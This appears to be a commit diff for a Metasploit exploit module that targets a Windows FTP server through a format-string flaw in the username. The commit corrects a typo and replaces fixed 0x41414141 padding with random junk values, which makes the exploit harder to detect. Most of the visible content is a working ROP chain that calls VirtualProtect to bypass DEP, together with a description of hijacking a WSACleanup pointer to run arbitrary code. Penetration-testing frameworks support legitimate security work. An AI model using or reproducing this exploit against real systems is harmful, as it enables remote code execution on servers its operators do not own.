Correct typo. Also make use of random junks.

modules/exploits/windows/ftp/comsnd_ftpd_fmtstr.rb

@@ -25,7 +25,7 @@ class Metasploit3 < Msf::Exploit::Remote
 				crafted format string specifier as a username. The crafted username is sent to to the server to
 				overwrite the hardcoded function pointer from Ws2_32.dll!WSACleanup. Once this function pointer
 				is triggered, the code bypasses dep and then repairs the pointer to execute arbitrary code.
-				The SEH exit function is prefered so that the administrators are not left with an unhandled
+				The SEH exit function is preferred so that the administrators are not left with an unhandled
 				exception message. When using the meterpreter payload, the process will never die, allowing
 				for continuous exploitation.
 			},
@@ -100,6 +100,9 @@ class Metasploit3 < Msf::Exploit::Remote
 		return Exploit::CheckCode::Safe
 	end
 
+	def junk(n=4)
+		return rand_text_alpha(n).unpack("V").first
+	end
 
 	def exploit
 
@@ -110,12 +113,12 @@ class Metasploit3 < Msf::Exploit::Remote
 				0x77be3adb, # pop eax ; retn
 				0x77ba1114, # <- *&VirtualProtect()
 				0x77bbf244, # mov eax,[eax] ; pop ebp ; retn
-				0x41414141, # junk ------------^
+				junk,
 				0x77bb0c86, # xchg eax,esi ; retn
 				0x77be3adb, # pop eax ; retn
 				0xFFFFFBFF, # dwSize
 				0x77BAD64D, # neg eax ; pop ebp ; retn
-				0x41414141, # junk ------^
+				junk,
 				0x77BBF102, # xchg eax,ebx ; add [eax],al ; retn
 				0x77bbfc02, # pop ecx ; retn
 				0x77bef001, # ptr that is w+
@@ -137,14 +140,14 @@ class Metasploit3 < Msf::Exploit::Remote
 				0x77C21D16, # pop eax ; retn
 				0x77C11120, # <- *&VirtualProtect()
 				0x77C2E493, # mov eax,[eax] ; pop ebp ; retn
-				0x41414141, # junk ------------^
+				junk,
 				0x77C21891, # pop esi ; retn
 				0x77C5D010, # ptr that is w+
 				0x77C2DD6C, # xchg eax,esi ; add [eax],al; retn
 				0x77C21D16, # pop eax ; retn
 				0xFFFFFBFF, # dwSize
 				0x77C1BE18, # neg eax ; pop ebp ; retn
-				0x41414141, # junk ------^
+				junk,
 				0x77C2362C, # pop ebx ; retn
 				0x77C5D010, # ptr that is w+
 				0x77C2E071, # xchg eax,ebx ; add [eax],al ; retn